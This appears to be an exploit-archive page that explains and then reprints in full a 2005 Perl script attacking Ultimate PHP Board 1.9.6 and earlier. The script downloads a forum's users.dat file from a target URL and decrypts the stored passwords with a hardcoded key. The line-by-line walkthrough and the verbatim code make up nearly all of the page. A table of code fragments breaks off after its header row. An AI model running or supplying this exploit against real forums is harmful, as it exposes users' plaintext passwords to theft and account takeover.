Decrypting Ultimate PHP Board 1.9.6 Passwords

Decrypting Ultimate PHP Board 1.9.6 Passwords
What this paper is
This paper, published in 2005, presents a Perl script designed to decrypt user passwords stored in the users.dat file of Ultimate PHP Board (UPB) version 1.9.6 and earlier. UPB was a forum software. The script exploits a weakness in how UPB stored passwords, allowing an attacker with access to the users.dat file to recover the plaintext passwords.
Simple technical breakdown
The core of the vulnerability lies in how UPB encrypted passwords. Instead of using a strong cryptographic algorithm, it appears to have used a simple, custom substitution cipher. The users.dat file contains lines with username, encrypted password, and other data, separated by <~>.
The Perl script works by:
- Fetching the
users.datfile: It uses theLWP::Simplemodule to download theusers.datfile from a specified URL. - Parsing the file: It splits the downloaded content into individual lines.
- Decrypting passwords: For each user entry, it extracts the encrypted password and applies a custom decryption algorithm.
- Outputting results: It can either save the decrypted usernames and passwords to a file or display them directly for a specific user.
The decryption algorithm itself is a custom, weak cipher. It iterates through the encrypted password, character by character. For each character, it uses a long, fixed "key" string. The decryption involves a simple arithmetic operation using the ASCII values of the current character in the encrypted password, the current character in the key, and the next character in the key.
Complete code and payload walkthrough
Let's break down the Perl script line by line.
#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Related advisory: http://www.securityfocus.com/archive/1/402461/30/0/threaded
# Discovered and Coded by Alberto Trivero
# Password file is located at: http://www.example.com/upb/db/users.dat /str0ke#!/usr/bin/perl: This is the shebang line, indicating that the script should be executed by the Perl interpreter.- Comments: These lines provide context about the script's purpose, its relation to a security advisory, the author, and the typical location of the vulnerable file.
use Getopt::Std;
use LWP::Simple;
getopt('hfu');use Getopt::Std;: This module is used for parsing command-line options.use LWP::Simple;: This module provides a simple interface for making HTTP requests (like GET requests to download files).getopt('hfu');: This function processes command-line arguments. It expects options-h,-f, and-u.-h: Likely for the target host/path.-f: Likely for an output file.-u: Likely for a specific username.
print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t= by Alberto Trivero =\n";
print "\t========================================\n\n";- These lines print a formatted header to the console, identifying the script and its author.
if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR -u [username]]\n\n";
print "Examples:\nperl $0 -h http://www.example.com/upb/ -f results.txt\n";
print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
exit(0);
}- This is an argument validation block.
!$opt_h: Checks if the-h(host/path) option was not provided.!($opt_f or $opt_u): Checks if neither-f(output file) nor-u(username) was provided.($opt_f && $opt_u): Checks if both-fand-uwere provided, which is likely an invalid combination.
- If any of these conditions are true, it prints usage instructions and examples, then exits. This ensures the script is called with the correct parameters.
$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaomowpkfvmmogbayankrnrhmbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdwupkzvqnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqggccl";
$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);$key="...": This defines a long, fixed string that serves as the "key" for the decryption algorithm. This key is crucial and hardcoded.$page=get($opt_h."db/users.dat"): This line constructs the full URL to theusers.datfile by concatenating the provided host path ($opt_h) with the relative pathdb/users.dat. It then usesLWP::Simple::get()to download the content of this URL.|| die "[-] Unable to retrieve: $!";: If theget()function fails (e.g., the URL is invalid, the file doesn't exist, or there's a network error), the script will print an error message including the system error ($!) and exit.print "[+] Connected to: $opt_h\n";: Informs the user that the connection to the target path was successful.@page=split(/\n/,$page);: The downloaded content ($page) is split into an array (@page) where each element is a line from the file, using the newline character (\n) as the delimiter.
if($opt_f) {
open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
print RESULTS "Results for $opt_h\n","="x40,"\n\n";
for($in=0;$in<@page;$in++) {
$page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
$page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password: $1\n";
&decrypt;
print RESULTS "Decrypted Password: $crypt\n\n";
$crypt="";
}
close(RESULTS);
print "[+] Results printed correct in: $opt_f\n";
}- This block executes if the
-foption (output file) was provided. open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";: Opens the specified output file ($opt_f) in read/write mode (+>). If the file cannot be opened, it prints an error and exits.print RESULTS "Results for $opt_h\n","="x40,"\n\n";: Writes a header to the output file, indicating the target URL and a separator line.for($in=0;$in<@page;$in++) { ... }: This loop iterates through each line ($page[$in]) in the@pagearray.$page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";: This is a regular expression match.^: Matches the beginning of the line.(.*?): This is a capturing group that non-greedily matches any character (.) zero or more times (*). The?makes it non-greedy, meaning it will match the shortest possible string.<~>: Matches the literal string<~>.- The
&&operator means if the regex matches, the following command (print RESULTS "Username: $1\n";) is executed.$1contains the text captured by the first capturing group, which is the username. This line prints the extracted username to the output file.
$page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password: $1\n";: This line also uses a regex.^$1<~>: Matches the beginning of the line, followed by the previously captured username ($1), followed by<~>. This ensures we are matching the correct part of the line.(.*?): Another non-greedy capturing group that captures the encrypted password.<~>: Matches the literal string<~>.- If this regex matches, it prints the captured encrypted password to the output file.
&decrypt;: This calls thedecryptsubroutine (function). This subroutine will use the captured encrypted password (stored in$1from the previous regex match) and the global$keyto perform decryption. The result is stored in the global$cryptvariable.print RESULTS "Decrypted Password: $crypt\n\n";: Prints the decrypted password to the output file.$crypt="";: Resets the$cryptvariable for the next iteration.
close(RESULTS);: Closes the output file.print "[+] Results printed correct in: $opt_f\n";: Informs the user that the results have been saved to the specified file.
if($opt_u) {
for($in=0;$in<@page;$in++) {
if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
print "[+] Username: $opt_u\n";
print "[+] Crypted Password: $1\n";
&decrypt;
print "[+] Decrypted Password: $crypt\n";
exit(0);
}
}
print "[-] Username '$opt_u' doesn't exist\n";
}- This block executes if the
-uoption (specific username) was provided. for($in=0;$in<@page;$in++) { ... }: Iterates through each line of theusers.datfile.if($page[$in]=~m/^$opt_u<~>(.*?)<~>/): This regex attempts to find a line that starts with the provided username ($opt_u), followed by<~>, then captures the encrypted password ((.*?)), followed by another<~>.- If a match is found:
print "[+] Username: $opt_u\n";: Prints the username.print "[+] Crypted Password: $1\n";: Prints the captured encrypted password.&decrypt;: Calls thedecryptsubroutine to decrypt the password.print "[+] Decrypted Password: $crypt\n";: Prints the decrypted password.exit(0);: Exits the script successfully after finding and decrypting the specified user's password.
- If a match is found:
print "[-] Username '$opt_u' doesn't exist\n";: If the loop finishes without finding the username, this message is printed.
sub decrypt {
for($i=0;$i<length($1);$i++) {
$i_key=ord(substr($key, $i, 1));
$i_text=ord(substr($1, $i, 1));
$n_key=ord(substr($key, $i+1, 1));
$i_crypt=$i_text + $n_key;
$i_crypt-=$i_key;
$crypt.=chr($i_crypt);
}
}- This defines the
decryptsubroutine. It's designed to decrypt a string that was captured into the special variable$1(which holds the result of the last successful regex match). for($i=0;$i<length($1);$i++) { ... }: This loop iterates through each character of the encrypted password string ($1).$i_key=ord(substr($key, $i, 1));: Gets the ASCII value of the character at index$ifrom the global$keystring.substr($key, $i, 1)extracts one character starting at index$i.ord()converts it to its ASCII integer value.$i_text=ord(substr($1, $i, 1));: Gets the ASCII value of the character at index$ifrom the encrypted password string ($1).$n_key=ord(substr($key, $i+1, 1));: Gets the ASCII value of the character at index$i+1from the global$keystring. This is the next character in the key.$i_crypt=$i_text + $n_key;: Adds the ASCII value of the current encrypted character to the ASCII value of the next key character.$i_crypt-=$i_key;: Subtracts the ASCII value of the current key character from the result. This is the core decryption step.$crypt.=chr($i_crypt);: Converts the resulting integer ($i_crypt) back into a character usingchr()and appends it to the global$cryptvariable. This builds up the decrypted password character by character.
# milw0rm.com [2005-06-16]- A footer comment, often indicating the source where the exploit was published.
Mapping of code fragments to practical purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
#
# Passwords Decrypter for UPB <= 1.9.6
# Related advisory: http://www.securityfocus.com/archive/1/402461/30/0/threaded
# Discovered and Coded by Alberto Trivero
# Password file is located at: http://www.example.com/upb/db/users.dat /str0ke
use Getopt::Std;
use LWP::Simple;
getopt('hfu');
print "\n\t========================================\n";
print "\t= Passwords Decrypter for UPB <= 1.9.6 =\n";
print "\t= by Alberto Trivero =\n";
print "\t========================================\n\n";
if(!$opt_h or !($opt_f or $opt_u) or ($opt_f && $opt_u)) {
print "Usage:\nperl $0 -h [full_target_path] [-f [output_file_name] OR -u [username]]\n\n";
print "Examples:\nperl $0 -h http://www.example.com/upb/ -f results.txt\n";
print "perl $0 -h http://www.example.com/upb/ -u Alby\n";
exit(0);
}
$key="wdnyyjinffnruxezrkowkjmtqhvrxvolqqxokuofoqtneltaomowpkfvmmogbayankrnrhmbduzfmpctxiidweripxwglmwrmdscoqyijpkzqqzsuqapfkoshhrtfsssmcfzuffzsfxdwupkzvqnloubrvwzmsxjuoluhatqqyfbyfqonvaosminsxpjqebcuiqggccl";
$page=get($opt_h."db/users.dat") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $opt_h\n";
@page=split(/\n/,$page);
if($opt_f) {
open(RESULTS,"+>$opt_f") || die "[-] Unable to open $opt_f: $!";
print RESULTS "Results for $opt_h\n","="x40,"\n\n";
for($in=0;$in<@page;$in++) {
$page[$in]=~m/^(.*?)<~>/ && print RESULTS "Username: $1\n";
$page[$in]=~m/^$1<~>(.*?)<~>/ && print RESULTS "Crypted Password: $1\n";
&decrypt;
print RESULTS "Decrypted Password: $crypt\n\n";
$crypt="";
}
close(RESULTS);
print "[+] Results printed correct in: $opt_f\n";
}
if($opt_u) {
for($in=0;$in<@page;$in++) {
if($page[$in]=~m/^$opt_u<~>(.*?)<~>/) {
print "[+] Username: $opt_u\n";
print "[+] Crypted Password: $1\n";
&decrypt;
print "[+] Decrypted Password: $crypt\n";
exit(0);
}
}
print "[-] Username '$opt_u' doesn't exist\n";
}
sub decrypt {
for($i=0;$i<length($1);$i++) {
$i_key=ord(substr($key, $i, 1));
$i_text=ord(substr($1, $i, 1));
$n_key=ord(substr($key, $i+1, 1));
$i_crypt=$i_text + $n_key;
$i_crypt-=$i_key;
$crypt.=chr($i_crypt);
}
}
# milw0rm.com [2005-06-16]